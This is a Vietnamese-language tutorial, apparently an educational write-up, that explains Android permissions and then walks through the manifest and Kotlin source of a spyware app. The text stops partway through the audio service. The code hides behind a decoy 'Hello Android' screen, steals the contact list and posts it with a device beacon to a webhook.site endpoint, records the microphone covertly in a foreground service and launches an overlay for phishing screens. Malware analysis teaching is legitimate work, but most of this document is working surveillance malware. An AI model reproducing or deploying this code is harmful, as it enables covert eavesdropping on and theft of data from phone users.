# Android Malware ## Android Permissions Permission là một yếu tố quan trọng trong cơ chế bảo mật Android, vì chúng quyết định cho phép hoặc từ chối ứng dụng truy cập vào các tài nguyên nhạy cảm như camera, micro hay dịch vụ định vị. Android chia permissions thành 2 loại chính: - **Normal Permissions**: các quyền thông thường không ảnh hưởng đến quyền riêng tư của người dùng và được hệ thống tự động cấp. ví dụ như: `INTERNET` ```xml= <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.VIBRATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> ``` - **Dangerous Permissions**: các quyền nguy hiểm có thể ảnh hưởng đến bảo mật hoặc quyền riêng tự, nên phải được người dùng cấp thủ công `CAMERA`, `LOCATION`, `READ_CONTACTS`. ```xml= <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> ``` Ngoài ra trong hệ điều hành Android còn có các quyền như quyền độc nhất và quyền hệ thống: - **Signature Permissions(quyền độc nhất)**: chỉ cấp cho các ứng dụng được ký cùng chứng chỉ, thường được dùng cho giao tiếp giữa các ứng dụng, với mức bảo mật cao. ```xml= <permission android:name="com.example.app.CUSTOM_PERMISSION" android:protectionLevel="signature" /> ``` - **System Permissions(quyền hệ thống)**: quyền này chỉ cấp cho ứng dụng hệ thống, yêu cầu chứng chỉ hệ thống với cấp mức đặc quyền tối đa. ```xml= <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <uses-permission android:name="..."/> ``` **Note:** Các quyền hệ thống thường chỉ dành cho các app được cài sẵn hoặc ký bởi nhà sản xuất thiết bị. Người dùng bình thường hoặc app bên thứ ba không thể sử dụng các quyền này. **Dangerous Permission Groups** ```xml= <!-- CALENDAR Group --> <uses-permission android:name="android.permission.READ_CALENDAR" /> <uses-permission android:name="android.permission.WRITE_CALENDAR" /> <!-- CAMERA Group --> <uses-permission android:name="android.permission.CAMERA" /> <!-- CONTACTS Group --> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.WRITE_CONTACTS" /> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <!-- LOCATION Group --> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <!-- MICROPHONE Group --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- PHONE Group --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_CALL_LOG" /> <uses-permission android:name="android.permission.WRITE_CALL_LOG" /> <!-- SENSORS Group --> <uses-permission android:name="android.permission.BODY_SENSORS" /> <!-- SMS Group --> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <!-- STORAGE Group --> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> ``` **Permissions trong file Mainfest** Trong Android, mọi quyền truy cập tài nguyên hệ thống đều phải được khai báo trong file `AndroidManifest.xml`. File này quan trọng vì nó thông báo cho hệ thống biết ứng dụng dự định sử dụng tài nguyên nào, ví dụ: Camera, dịch vụ định vị, kết nối internet ## Tổng quan về Manifest Android File `AndroidManifest.xml` này đóng vai trò là bản kê khai chính thúc của ứng dụng, mô tả cấu trúc, các thành phần, các quyền truy cập cần thiết cho hệ điều hành Android. **Khai báo cấu trúc và namespace** ```xml= <?xml version=”1.0″ encoding=”utf-8″?> <manifest xmlns:android=”http://schemas.android.com/apk/res/android” xmlns:tools=”http://schemas.android.com/tools”> ``` - Dòng này xác đinh file là một mainfest Android được viết bằng định dạng XML. - Việc tích hợp namespace `xmlns:tools` cho phép thiết lập các cấu hình thời gian biên dịch (build-time configurations), chẳng hạn như định rõ cấp độ API muc tiêu (`tool:targetApi`), nhằm đảm bảo khả năng tương thích và tuân thủ các quy tắc bảo mật mói của hiệu điều hành. **Permission Requests** ```xml= <uses-permission android:name=”android.permission.INTERNET” /> <uses-permission android:name=”android.permission.READ_CONTACTS” /> <uses-permission android:name=”android.permission.RECORD_AUDIO” /> ``` Ứng dụng khai báo rõ ràng yêu cầu ba quyền hạn được xếp vào loại rủi ro cao (high-risk permissions): - `INTERNET`: Cấp quyền cho ứng dụng thực hiện truyền thông mạng (network communication). Trong ngữ cảnh độc hại, đây là con đường chính để thực hiện thoát dữ liệu (data exfiltration) hoặc thiết lập kênh chỉ huy và kiểm soát (Command and Control - C2 channel) không được phép. - `READ_CONTACTS`: Cung cấp quyền truy cập vào thông tin danh bạ của người dùng. Đây là mục tiêu phổ biến trong các chiến dịch phishing (lừa đảo), social engineering (kỹ thuật xã hội), hoặc phục vụ việc lập bản đồ mạng xã hội (social network mapping). - `RECORD_AUDIO`: Cho phép ứng dụng sử dụng micro của thiết bị. Tính năng này có thể bị lợi dụng (exploited) để thực hiện ghi âm lén lút (covert recording), điển hình trong các loại malware giám sát (surveillance malware). **Application Configuration** ```xml= <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Malware" tools:targetApi="31"> ``` Phần này định nghĩa các thiết lập cốt lõi của ứng dụng: - `allowBackup="true"`: Kích hoạt tính năng sao lưu dữ liệu ứng dụng (app data backup) qua ADB (Android Debug Bridge). Việc này có thể là một lỗ hổng bảo mật (security vulnerability) vì nó có thể làm lộ (expose) thông tin nhạy cảm nếu thiết bị rơi vào tay kẻ tấn công. - `dataExtractionRules` và `fullBackupContent`: Thiết lập các quy tắc để kiểm soát việc trích xuất và sao lưu dữ liệu (data extraction and backup), là một cơ chế bảo vệ để giảm thiểu rủi ro (mitigate risks). - `tools:targetApi="31"`: Đảm bảo ứng dụng được tối ưu hóa cho Android 12 (API 31) và tuân thủ các quy tắc nghiêm ngặt hơn về việc xuất các thành phần (component export rules). **Main Activity Setup** ```xml= <activity android:name=”.MainActivity” android:exported=”true” android:label=”@string/app_name” android:theme=”@style/Theme.Malware”> <intent-filter> <action android:name=”android.intent.action.MAIN” /> <category android:name=”android.intent.category.LAUNCHER” /> </intent-filter> </activity> ``` Phần này định nghĩa hoạt động chính (MainActivity) — điểm khởi đầu (entry point) của ứng dụng. - `android:exported=”true”`: Thuộc tính này là bắt buộc đối với API cấp 31 trở lên khi ứng dụng có bộ lọc ý định (intent-filter), cho phép các ứng dụng hoặc hệ thống khác (other apps or the system) có thể khởi động (start) hoạt động này. Việc này phải được đánh giá cẩn thận để tránh lỗ hổng cướp ý định (intent hijacking vulnerability). - `intent-filter:` - `MAIN`: Đánh dấu hoạt động này là điểm bắt đầu mặc định (default start point). - `LAUNCHER`: Đảm bảo ứng dụng xuất hiện trong trình khởi chạy ứng dụng (app launcher) của thiết bị. Trong bối cảnh độc hại, hoạt động chính này có thể được sử dụng để hiển thị một giao diện người dùng giả mạo nhằm đánh lạc hướng, trong khi ngầm thực hiện các tác vụ ẩn như thu thập thông tin thiết bị, leo thang đặc quyền , hoặc liên lạc với máy chủ từ xa. **AndroidManifest.xml** ```xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:versionCode="1" android:versionName="1.0"> <uses-sdk android:minSdkVersion="16" android:maxSdkVersion="36" /> <!-- Quyền sử dụng trong các tình huống giám sat hoặc đánh cắp dữ liệu --> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" tools:ignore="ForegroundServicesPolicy" /> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN" tools:ignore="ProtectedPermissions" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Malware" tools:targetApi="31" > <!-- Entry point Acivity --> <activity android:name=".MainActivity" android:exported="true" android:label="@string/app_name" android:theme="@style/Theme.Malware"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <service android:name=".AudioRecordService" android:foregroundServiceType="microphone" tools:ignore="ForegroundServicePermission" /> <service android:name=".OverlayService" /> </application> </manifest> ``` **Chức năng của file AndroidManifest.xml:** 1. Cấu hình Phiên bản và Hỗ trợ API (Version and API Support) ```xml= <uses-sdk android:minSdkVersion="16" android:maxSdkVersion="36" /> ``` - `minSdkVersion="16"`: Đảm bảo ứng dụng có thể cài đặt trên hầu hết các thiết bị Android cũ (Jelly Bean) trở đi. - `maxSdkVersion="36"`: Chỉ ra rằng ứng dụng có khả năng tương thích dự kiến với các phiên bản Android mới nhất (bao gồm cả các phiên bản tương lai sau API 33 hiện tại), cho thấy đây là một ứng dụng đang được bảo trì tích cực (actively maintained) hoặc được thiết kế để có tuổi thọ dài (long lifespan) trên nhiều hệ điều hành. 2. Khai báo quyền (permissions) Ứng dụng khai báo rõ ràng yêu cầu ba quyền hạn được xếp vào loại rủi ro cao (high-risk permissions): - `INTERNET`: Cấp quyền cho ứng dụng thực hiện truyền thông mạng (network communication). Trong ngữ cảnh độc hại, đây là con đường chính để thực hiện thoát dữ liệu (data exfiltration) hoặc thiết lập kênh chỉ huy và kiểm soát (Command and Control - C2 channel) không được phép. - `READ_CONTACTS`: Cung cấp quyền truy cập vào thông tin danh bạ của người dùng. Đây là mục tiêu phổ biến trong các chiến dịch phishing (lừa đảo), social engineering (kỹ thuật xã hội), hoặc phục vụ việc lập bản đồ mạng xã hội (social network mapping). - `RECORD_AUDIO`: Cho phép ứng dụng sử dụng micro của thiết bị. Tính năng này có thể bị lợi dụng (exploited) để thực hiện ghi âm lén lút (covert recording), điển hình trong các loại malware giám sát (surveillance malware). - `FOREGROUND_SERVICE` và `FOREGROUND_SERVICE_MICROPHONE`: Cho phép ứng dụng chạy dưới dạng Dịch vụ Tiền cảnh (Foreground Service). Việc này rất quan trọng để tránh bị hệ thống Android giết tiến trình (process killing). Đặc biệt, `FOREGROUND_SERVICE_MICROPHONE` cho phép dịch vụ tiếp tục ghi âm ngay cả khi ứng dụng không ở trạng thái tương tác với người dùng. - `SYSTEM_ALERT_WINDOW` Hay còn gọi là "Draw Over Other Apps". Đây là một quyền hạn cực kỳ nguy hiểm, thường được sử dụng trong các tình huống sau: 1. Tạo lớp phủ (overlay) màn hình lừa đảo (ví dụ: màn hình đăng nhập ngân hàng giả mạo). 2. Che giấu các hộp thoại cảnh báo hệ thống hoặc thông báo quyền hạn. 3. Thường là một dấu hiệu của ransomware (mã độc tống tiền) hoặc malware truy cập từ xa (RAT). - `BIND_DEVICE_ADMIN`: Cho phép ứng dụng yêu cầu trở thành Quản trị viên Thiết bị (Device Administrator). Nếu được cấp quyền, ứng dụng có thể thực hiện các chức năng đặc quyền như thay đổi mật khẩu màn hình, khóa màn hình, hoặc thậm chí xóa sạch dữ liệu thiết bị (factory reset/wipe). Đây là một cơ chế phổ biến để tăng cường tính bền vững (persistence) và chống gỡ cài đặt (anti-uninstallation). 3. Application Configuration ```xml= <application android:allowBackup="true" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Malware" tools:targetApi="31"> ``` Phần này định nghĩa các thiết lập cốt lõi của ứng dụng: - `allowBackup="true"`: Kích hoạt tính năng sao lưu dữ liệu ứng dụng (app data backup) qua ADB (Android Debug Bridge). Việc này có thể là một lỗ hổng bảo mật (security vulnerability) vì nó có thể làm lộ (expose) thông tin nhạy cảm nếu thiết bị rơi vào tay kẻ tấn công. - `dataExtractionRules` và `fullBackupContent`: Thiết lập các quy tắc để kiểm soát việc trích xuất và sao lưu dữ liệu (data extraction and backup), là một cơ chế bảo vệ để giảm thiểu rủi ro (mitigate risks). - `tools:targetApi="31"`: Đảm bảo ứng dụng được tối ưu hóa cho Android 12 (API 31) và tuân thủ các quy tắc nghiêm ngặt hơn về việc xuất các thành phần (component export rules). 4. Main Activity ```xml= <activity android:name=”.MainActivity” android:exported=”true” android:label=”@string/app_name” android:theme=”@style/Theme.Malware”> <intent-filter> <action android:name=”android.intent.action.MAIN” /> <category android:name=”android.intent.category.LAUNCHER” /> </intent-filter> </activity> ``` Phần này định nghĩa hoạt động chính (MainActivity) — điểm khởi đầu (entry point) của ứng dụng. - `android:exported=”true”`: Thuộc tính này là bắt buộc đối với API cấp 31 trở lên khi ứng dụng có bộ lọc ý định (intent-filter), cho phép các ứng dụng hoặc hệ thống khác (other apps or the system) có thể khởi động (start) hoạt động này. Việc này phải được đánh giá cẩn thận để tránh lỗ hổng cướp ý định (intent hijacking vulnerability). - `intent-filter:` - `MAIN`: Đánh dấu hoạt động này là điểm bắt đầu mặc định (default start point). - `LAUNCHER`: Đảm bảo ứng dụng xuất hiện trong trình khởi chạy ứng dụng (app launcher) của thiết bị. 5. Services (Các dịch vụ) - **AudioRecordService** ```xml= <service android:name=".AudioRecordService" android:foregroundServiceType="microphone" tools:ignore="ForegroundServicePermission" /> ``` > - Chức năng: Đây là thành phần chịu trách nhiệm thực hiện việc ghi âm thực tế đã được khai báo quyền `RECORD_AUDIO` và `FOREGROUND_SERVICE_MICROPHONE`. > - `android:foregroundServiceType="microphone"`: Xác nhận dịch vụ này được thiết kế để xử lý việc truy cập micro liên tục, nhấn mạnh mục đích giám sát âm thanh xung quanh (ambient audio surveillance). - **OverlayService** ```xml= <service android:name=".OverlayService" /> ``` > - Chức năng: Dịch vụ này, kết hợp với quyền SYSTEM_ALERT_WINDOW, có khả năng khởi tạo và duy trì một lớp phủ giao diện người dùng (UI overlay) trên các ứng dụng khác. > - Nguy cơ: Dịch vụ này là nơi thực hiện các kỹ thuật như click-jacking, phishing màn hình (screen phishing), hoặc che giấu các hoạt động độc hại đang diễn ra ở hậu trường. ## Code Coordinated Functionality of Malware Components ![image](https://hackmd.io/_uploads/ryp4vI0lWx.png) #### MainActivity.kt - Entry Point and Permission Orchestrator **MainActivity.kt** là điểm khởi chạy chính của ứng dụng. Tuy bề ngoài nó có giao diện Android “bình thường”, nhưng thực chất đây là trình điều phối toàn bộ hành vi độc hại: - Thu thập dữ liệu nhạy cảm (danh bạ) - Gửi beacon về C2 (xác định thiết bị, phiên) - Chạy dịch vụ nghe lén microphone nền - Chạy dịch vụ vẽ overlay để hỗ trợ các hành vi giả mạo hoặc lừa đảo (phishing) - Duy trì kết nối liên tục với attacker server thông qua HTTP ```kotlin= package com.example.malware import android.Manifest import android.content.Intent import android.content.pm.PackageManager import android.net.Uri import android.os.Build import android.os.Bundle import android.provider.Settings import android.provider.ContactsContract import android.util.Log import androidx.activity.ComponentActivity import androidx.activity.compose.setContent import androidx.activity.enableEdgeToEdge import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.foundation.layout.padding import androidx.compose.material3.Scaffold import androidx.compose.material3.Text import androidx.compose.runtime.Composable import androidx.compose.ui.Modifier import androidx.compose.ui.tooling.preview.Preview import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import com.example.malware.ui.theme.MalwareTheme import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import okhttp3.* import org.json.JSONArray import org.json.JSONObject import java.io.OutputStreamWriter import java.net.HttpURLConnection import java.net.URL import java.util.UUID class MainActivity : ComponentActivity() { private val dataSender = HTTPDataSender() override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) enableEdgeToEdge() // Launch simple UI (for distraction purposes) setContent { MalwareTheme { Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding -> Greeting( name = "Android", modifier = Modifier.padding(innerPadding) ) } } } // 🔥 THÊM: Check quyền overlay trước khi làm gì khác checkOverlayPermission() // Request sensitive permissions dynamically val permissions = arrayOf( Manifest.permission.READ_CONTACTS, Manifest.permission.RECORD_AUDIO ) val missing = permissions.filter { ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED } if (missing.isNotEmpty()) { ActivityCompat.requestPermissions(this, missing.toTypedArray(), 1001) } else { startMaliciousBehaviors() } } // Central dispatcher of malicious behavior private fun startMaliciousBehaviors() { collectContactsWithNewClass() sendC2Beacon() startAudioRecordingService() startOverlayService() } private fun collectContactsWithNewClass() { val collector = ContactsCollector(this) val contactsJsonArray: JSONArray = collector.collectBasicContacts() val json = JSONObject() json.put("type", "contacts_dump") json.put("data", contactsJsonArray) dataSender.sendJSONData( "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac", json, object : DataSendCallback { override fun onSuccess(response: String) { Log.d("MalwareSim", "Contacts exfil success: $response") } override fun onFailure(errorMessage: String) { Log.e("MalwareSim", "Contacts exfil failed: $errorMessage") } } ) } private fun sendC2Beacon() { val json = JSONObject() json.put("type", "device_beacon") json.put("device_id", UUID.randomUUID().toString()) json.put("model", Build.MODEL) json.put("sdk", Build.VERSION.SDK_INT) dataSender.sendJSONData( "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac", json, object : DataSendCallback { override fun onSuccess(response: String) { Log.d("MalwareSim", "Beacon sent: $response") } override fun onFailure(errorMessage: String) { Log.e("MalwareSim", "Beacon failed: $errorMessage") } } ) } // Steal and exfiltrate user's contact list private fun exfiltrateContacts() { val cursor = contentResolver.query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null ) val builder = StringBuilder() cursor?.use { while (it.moveToNext()) { val name = it.getString( it.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME) ) val number = it.getString( it.getColumnIndexOrThrow(ContactsContract.CommonDataKinds.Phone.NUMBER) ) builder.append("$name:$number\n") } } postToC2( "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac", builder.toString() ) } // Device fingerprint beacon to C2 private fun sendC2Beacon_test() { val deviceId = UUID.randomUUID().toString() val info = "DeviceID=$deviceId&Model=${Build.MODEL}&SDK=${Build.VERSION.SDK_INT}" postToC2( "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac", info ) } // Generic POST to remote C2 private fun postToC2(urlString: String, payload: String) { CoroutineScope(Dispatchers.IO).launch { try { val url = URL(urlString) val conn = url.openConnection() as HttpURLConnection conn.requestMethod = "POST" conn.setRequestProperty("Content-Type", "text/plain") conn.doOutput = true OutputStreamWriter(conn.outputStream).use { it.write(payload) } conn.inputStream.bufferedReader().use { Log.d("MalwareSim", it.readText()) } conn.disconnect() } catch (e: Exception) { Log.e("MalwareSim", "POST failed: ${e.message}") } } } // Launch microphone capture as foreground service private fun startAudioRecordingService() { val intent = Intent(this, AudioRecordService::class.java) if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { startForegroundService(intent) } else { startService(intent) } } private fun startOverlayService() { val intent = Intent(this, OverlayService::class.java) startService(intent) } // 🔥 THÊM HÀM CHECK QUYỀN OVERLAY private fun checkOverlayPermission() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (!Settings.canDrawOverlays(this)) { val intent = Intent( Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:$packageName") ) startActivity(intent) } } } // Callback after permission dialog override fun onRequestPermissionsResult( requestCode: Int, permissions: Array<String>, grantResults: IntArray ) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) if (requestCode == 1001 && grantResults.all { it == PackageManager.PERMISSION_GRANTED }) { startMaliciousBehaviors() } else { Log.w("MalwareSim", "Required permissions not granted.") } } } @Composable fun Greeting(name: String, modifier: Modifier = Modifier) { Text( text = "Hello $name!", modifier = modifier ) } @Preview(showBackground = true) @Composable fun GreetingPreview() { MalwareTheme { Greeting("Android") } } ``` **Giải thích** **1. Giao diện hợp pháp làm lớp ngụy trang vận hành (Operational Cover)** ```kotlin= setContent { MalwareTheme { Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding -> Greeting(name = "Android", modifier = Modifier.padding(innerPadding)) } } } ``` Việc sử dụng Jetpack Compose để hiển thị một giao diện “Hello Android” tối giản không chỉ mang tính thẩm mỹ: - Nó tạo một lớp vỏ hợp pháp giúp ứng dụng trông vô hại đối với người dùng. - Đồng thời tránh gây chú ý với các hệ thống phân tích hành vi hoặc sự nghi ngờ của người dùng. - Đây là kỹ thuật thường gặp trong các implant hoạt động bí mật: chạy tác vụ ngầm nhưng trình bày một giao diện frontend lành tính. **2. Hàm startMaliciousBehaviors()** Hàm tập trung kích hoạt các hành vi độc hại, bao gồm: - `collectContactsWithNewClass()`: thu thập danh bạ và gửi ra ngoài. - `sendC2Beacon()`: gửi thông tin thiết bị về C2 (beacon). - `startAudioRecordingService()`: chạy foreground service để ghi âm bí mật. - `startOverlayService()`: hiển thị overlay giả mạo. **3. Hàm collectContactsWithNewClass()** Khởi tạo ContactsCollector ```kotlin= val collector = ContactsCollector(this) ``` `ContactsCollector` là một lớp riêng (được bạn cung cấp trước đó), có nhiệm vụ thu thập danh bạ từ thiết bị. - `this → context` hiện tại, cần để `ContactsCollector` truy cập `contentResolver`. Đây là bước chuẩn bị để gọi phương thức lấy danh bạ. Thu thập danh bạ ```kotlin= val contactsJsonArray: JSONArray = collector.collectBasicContacts() ``` Gọi hàm `collectBasicContacts()` trong class `ContactsCollector`. Kết quả là JSONArray gồm các object JSON đại diện cho từng contact: ```json= { "contact_id": "1", "name": "Nguyen Van A", "phone_number": "0123456789", "phone_type": "Mobile" } ``` Hàm này sẽ: Truy vấn` ContactsContract.CommonDataKinds.Phone.CONTENT_URI`. Lấy ID, tên, số điện thoại, loại số sau đó chuyển thành JSON Tạo JSON payload ```kotlin= val json = JSONObject() json.put("type", "contacts_dump") json.put("data", contactsJsonArray) ``` Tạo một object JSON mới để gửi dữ liệu lên server. - `type = contacts_dump`: phân loại dữ liệu, dễ nhận diện khi server nhận. - `data = contactsJsonArray`: chứa toàn bộ danh bạ thu thập được. Gửi dữ liệu lên server C2 ```kotlin= dataSender.sendJSONData( "https://webhook.site/d51ea0e0-fdbb-4ede-9eb3-6b11e42843ac", json, object : DataSendCallback { override fun onSuccess(response: String) { Log.d("MalwareSim", "Contacts exfil success: $response") } override fun onFailure(errorMessage: String) { Log.e("MalwareSim", "Contacts exfil failed: $errorMessage") } } ) ``` - `dataSender` là một instance của class HTTPDataSender. - `sendJSONData()` thực hiện POST JSON lên URL chỉ định. - URL ở đây là webhook để test, trong malware thực tế có thể là C2 server. Callback: - `onSuccess(response: String)`: log khi gửi thành công. - `onFailure(errorMessage: String)`:log nếu gửi thất bại. Dữ liệu gửi đi bao gồm toàn bộ danh bạ dưới dạng JSON. **4. Hàm startAudioRecordingService()** Hàm này khởi chạy một service nền để ghi âm microphone của người dùng mà họ không biết. Service đó là AudioRecordService. ```kotlin= private fun startAudioRecordingService() { val intent = Intent(this, AudioRecordService::class.java) if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { startForegroundService(intent) } else { startService(intent) } } ``` Tạo `Intent` để chỉ định rằng ta muốn chạy AudioRecordService. - `this` là Context của MainActivity. Kiểm tra phiên bản Android ```kotlin= if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) ``` Từ Android 8.0 (API 26 — Oreo), Google buộc service chạy nền phải là foreground service, có thông báo (notification). - `startForegroundService(intent)` Nếu thiết bị chạy Android 8.0 trở lên, gọi service theo kiểu foreground, service ổn định hơn và ít bị kill. - `startService(intent)` Nếu Android cũ hơn: - Chạy service kiểu truyền thống. **5. Hàm startOverlayService()** Hàm này khởi chạy service vẽ một lớp overlay lên màn hình, thường dùng trong malware để: - Tạo giả giao diện đăng nhập Facebook/Google để đánh cắp credential - Che giao diện thật, chặn người dùng thao tác - Phishing UI ```kotlin= private fun startOverlayService() { val intent = Intent(this, OverlayService::class.java) startService(intent) } ``` Tạo intent để khởi động service OverlayService. - OverlayService (như đã định nghĩa trong file class OverlayService) có thể: - Vẽ view lên mọi ứng dụng khác. - Sử dụng quyền `SYSTEM_ALERT_WINDOW`. - Chạy service này ở background. - Khác với AudioRecordService, chỗ này không check Android version, nên chạy theo kiểu service bình thường. **6.Hàm checkOverlayPermission()** Hàm này kiểm tra xem ứng dụng đã được cấp quyền vẽ overlay lên các ứng dụng khác chưa (`SYSTEM_ALERT_WINDOW`). ```kotlin= private fun checkOverlayPermission() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (!Settings.canDrawOverlays(this)) { val intent = Intent( Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:$packageName") ) startActivity(intent) } } } ``` `if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)`: Từ Android 6.0 (API 23), quyền Overlay phải do người dùng cấp riêng trong Settings. Mã chỉ chạy kiểm tra nếu phiên bản >= 6.0. `Settings.canDrawOverlays(this)`: Android trả về: - true → đã có quyền - false → chưa có quyền `if (!Settings.canDrawOverlays(this))` Nếu chưa có quyền: Mở trang yêu cầu cấp quyền: ```kotlin= val intent = Intent( Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:$packageName") ) startActivity(intent) ``` `ACTION_MANAGE_OVERLAY_PERMISSION` mở đúng trang: Settings → Special Apps → “Allow display over other apps” `Uri.parse("package:$packageName")`: đảm bảo trang hiện đúng ứng dụng. **7.Hàm onCreate(savedInstanceState: Bundle?)** `onCreate()` là hàm đầu tiên chạy khi Activity được tạo. Trong mã này nó làm 4 nhiệm vụ: - Hiển thị giao diện giả “vô hại” - Kiểm tra quyền Overlay - Yêu cầu quyền truy cập nhạy cảm - Nếu có đủ quyền → bắt đầu hành vi độc hại ```kotlin= override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) enableEdgeToEdge() // Launch simple UI (for distraction purposes) setContent { MalwareTheme { Scaffold(modifier = Modifier.fillMaxSize()) { innerPadding -> Greeting( name = "Android", modifier = Modifier.padding(innerPadding) ) } } } // 🔥 THÊM: Check quyền overlay trước khi làm gì khác checkOverlayPermission() // Request sensitive permissions dynamically val permissions = arrayOf( Manifest.permission.READ_CONTACTS, Manifest.permission.RECORD_AUDIO ) val missing = permissions.filter { ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED } if (missing.isNotEmpty()) { ActivityCompat.requestPermissions( this, missing.toTypedArray(), 1001 ) } else { startMaliciousBehaviors() } } ``` `super.onCreate(savedInstanceState)`: Gọi logic khởi tạo của ComponentActivity. `enableEdgeToEdge()`: Thiết lập layout full-screen sát mép màn hình (tính năng Material 3). `checkOverlayPermission()`: Gọi hàm kiểm tra quyền overlay. Nếu chưa có → tự mở trang settings. Kiểm tra quyền nào còn thiếu ```kotlin= val missing = permissions.filter { ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED } ``` - Lọc ra danh sách những quyền chưa được người dùng cấp. Nếu còn thiếu → bật cửa sổ xin quyền ```kotlin= ActivityCompat.requestPermissions( this, missing.toTypedArray(), 1001 ) ``` Nếu đủ quyền → chạy mã độc: `startMaliciousBehaviors()` #### AudioRecordService.kt **AudioRecordService.kt** là một service Android dùng để: * Khởi động dưới dạng foreground service (để không bị hệ thống kill trên Android 8+), * Ghi âm microphone trong một khoảng cố định (30 giây), * Lưu file .3gp vào thư mục app (getExternalFilesDir(...)), * Upload file dưới dạng binary (application/octet-stream) tới một endpoint qua HTTP(S), * Sau khi gửi xong, dừng service (stopSelf()). **Code** ```kotlin= package com.example.malware import android.app.Notification import android.app.NotificationChannel import android.app.NotificationManager import android.app.Service import android.content.Intent import android.media.MediaRecorder import android.os.Build import android.os.Environment import android.os.IBinder import android.util.Log import androidx.core.app.NotificationCompat import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import java.io.File import java.net.HttpURLConnection import java.net.URL import java.text.SimpleDateFormat import java.util.Date import java.util.Locale class AudioRecordService : Service() { private var recorder: MediaRecorder? = null private lateinit var outputFile: File override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { startForegroundServiceCompat() startRecording() return START_NOT_STICKY } private fun startForegroundServiceCompat() { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { val channelId = "covert_audio" val channel = NotificationChannel( channelId, "Background Audio Recording", NotificationManager.IMPORTANCE_LOW // hiện thị thông báo ít gây chú ý nhất ) val manager = getSystemService(NotificationManager::class.java) manager.createNotificationChannel(channel) val notification: Notification = NotificationCompat.Builder(this, channelId) .setContentTitle("Audio Service") .setContentText("Recording in background...") .setSmallIcon(android.R.drawable.ic_btn_speak_now) .setPriority(NotificationCompat.PRIORITY_LOW) .build() startForeground(1337, notification) } } private fun startRecording() { try { val outputDir = File(getExternalFilesDir(Environment.DIRECTORY_MUSIC), "logs") if (!outputDir.exists()) outputDir.mkdirs() val timeStamp = 